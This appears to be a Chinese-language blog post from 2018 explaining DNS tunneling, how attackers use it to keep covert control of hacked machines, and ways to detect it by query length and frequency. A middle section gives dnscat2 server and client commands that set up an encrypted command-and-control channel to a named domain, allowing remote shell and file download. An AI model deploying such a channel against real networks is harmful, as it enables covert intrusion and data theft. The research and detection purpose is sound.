11、DNS隧道技術調研

FLy_鵬程萬里發表於2018-06-09

DNS(Domain Name System,域名系統),因特網上作為域名和IP地址互相對映的一個分散式資料庫,能夠使使用者更方便的訪問網際網路,而不用去記住能夠被機器直接讀取的IP數串。通過主機名,最終得到該主機對應的IP地址的過程叫做域名解析(或主機名解析)。DNS協議使用的埠為53(TCP/UDP),一般在進行DNS解析的時候通常使用的是UDP協議,但是在主伺服器向備伺服器同步資料的時候通常使用的是TCP協議.


概括地講,所謂 tunnel 就是把下一層(比如IPv4層)的包封裝到上一層(比如 SSH,HTTP)或者同一層(比如IPv6層)的協議中進行傳輸,從而實現網路之間的穿透。很明顯,這種實現有個前提,那就是:傳送端和接收端必須各有一個解析這種包的程式或者核心模組才能實現正常通訊。DNS隧道技術簡單來說就是將網路流量封裝成DNS流量,再通過DNS的正常走向將流量傳出來.這裡的流量封裝通常由一個客戶端來完成,而降封裝的DNS流量還原成正常的流量將由一個服務端來完成.


  • 簡介

攻擊者通常會採用多種方式來進行許可權的維持和對目標進行持久化訪問.通常攻擊者會通過正向連線或者反向連線這兩種方式對目標進行控制,正向連線就是攻擊者控制端主動連結被攻擊的機器,例如:通常攻擊者會在被黑的機器上監聽某一個埠然後攻擊者主動去連線這個埠,從而進行控制.還有一種方式是反向連線,反向連線就是被黑的機器主動連線控制端,這種方式比較靈活因此也是在當前攻擊中運用的較多的一種方式.例如:MSF中的各種reverse shell,各種遠控木馬.本文介紹的DNS隧道技術就是類似於反彈shell的原理,DNS服務端接受來自於客戶端的流量進行處理,客戶端主動請求服務端DNS伺服器進行通訊,大致如下:




在複雜和較為安全的網路環境中,防守方對內部網路出去的流量是有嚴格的控制的,一般通過防火牆來實現,攻擊者拿到內網機器的許可權後如果想保持長久的對目標的控制並且不被發現,難度是比較大的,因為一些敏感操作(比如:執行命令、內部資料外傳等)可能會觸犯防火牆或者安全裝置的規則,有時候拿下一臺機器容易,但是長久控制就比較難.通過DNS隧道可以比較好的維持對目標的長期控制並且不易被發現.DNS隧道將所有流量進行封裝,通過DNS請求傳送出去,一般的安全裝置和軟體不會對DNS請求進行詳細的檢查,攻擊者通過將payload加密隱藏在url中進行傳送,DNS伺服器遞迴查詢,最終到達攻擊者的服務端解密,服務端也可以下發指令給客戶端,客戶端解密之後執行控制端的命令.客戶端會給服務端傳送心跳包,以此來檢測服務端是否有指令下發.對於一個企業來說,每天網路出去的DNS請求是很多的,如何才能從這些龐大的DNS請求中找出異常的DNS請求並且發現是一個比較困難的問題,當前對於DNS隧道的檢測技術主要包括:

(1)流量分析;

(2)payload分析,而大多數的DNS隧道都已經把payload給加密了,所以當前用的比較多的是流量分析.例如:dnscat2每次的請求都會有一個不同的域名,而對於正常使用者經常訪問的網站(例如百度、騰訊等)的DNS請求一定是很多的,一天可能有上百萬次,但是對於黑客控制的DNS隧道伺服器,所使用的域名正常使用者應該很少去訪問,安全人員可以通過監控平臺分析DNS請求的頻率,低頻率的要重點觀察.並且,正常的DNS請求域名的長度一般不會太長,但是DNS隧道因為需要加密傳輸payload所以一般請求的域名長度較長例如dnscat2的payload長度為34位長一組,在竊取資料的場景中為了保證工具的傳輸速度,客戶端會將資料分段放在url中,例如:


可以依據域名的長度去初步判斷進行檢測.


頻次排序

  • DNS隧道實現

所需工具:dnscat2(地址: https://github.com/iagox86/dnscat2/)

域名:dnstunl.webappsec.xyz

Vps:阿里雲vps一臺

虛擬機器:win7

Git clone https://github.com/iagox86/dnscat2/
Cd dnscat2
Bundle install
Cd server

之後執行dnscat2服務端,使用的域名為: dnstunl.webappsec.xyz

ruby dnscat2.rb -d domain=dnstunl.webappsec.xyz -c webs3c -u -k

其中的c是金鑰,dnscat2會使用這個金鑰對流量進行加密.

在虛擬機器win7執行dnscat2客戶端,dnscat2的客戶端有編譯好的版本,可從:https://downloads.skullsecurity.org/dnscat2/下載

輸入: dnscat2-v0.07-client-win32.exe --dns domain=dnstunl.weba ppsec.xyz --secret webs3c




客戶端成功和服務端進行連線,連線後首先要做的是測試一下客戶端和服務端的連通性,dnscat2內建了一個叫ping-pong測試,可以通過ping命令來測試.連線成功之後可以直接通過服務端對客戶端下指令,客戶端執行,所有流量走DNS.dnscat提供了執行shell命令,被控機器本機檔案下載等功能.

客戶端和服務端進行通訊的時候wireshark抓包的流量如下所示,dns請求涉及MX、CNAME、TXT



被攻擊機器和C&C通訊流量



C&C通道通過dns協議進行通訊,資料加密之後放在dnstunl.webappsec.xyz前面.


  • 結語

DNS隧道對於攻擊者來說是個好東西,目前已經有很多公開的或未公開的利用工具;對於防守方來說DNS隧道技術是比較頭疼的,因為檢測難活著即使可以檢測但是仍然存在誤差,例如前面的依據域名長度分析,攻擊者完全可以調整策略,限制URL重的payload長度,只不過速度慢點而已,對於攻擊來說隱蔽才是最重要.然而攻擊者的簡單策略調整,但是這一簡單的變動對於防守方來說檢測又是一個難題.本文只是對DNS隧道的一個簡單理解與DNS隧道的實現及簡單的檢測方案,更深的層次還需要從實踐中總結,有沒有其他的檢測思路!

相關文章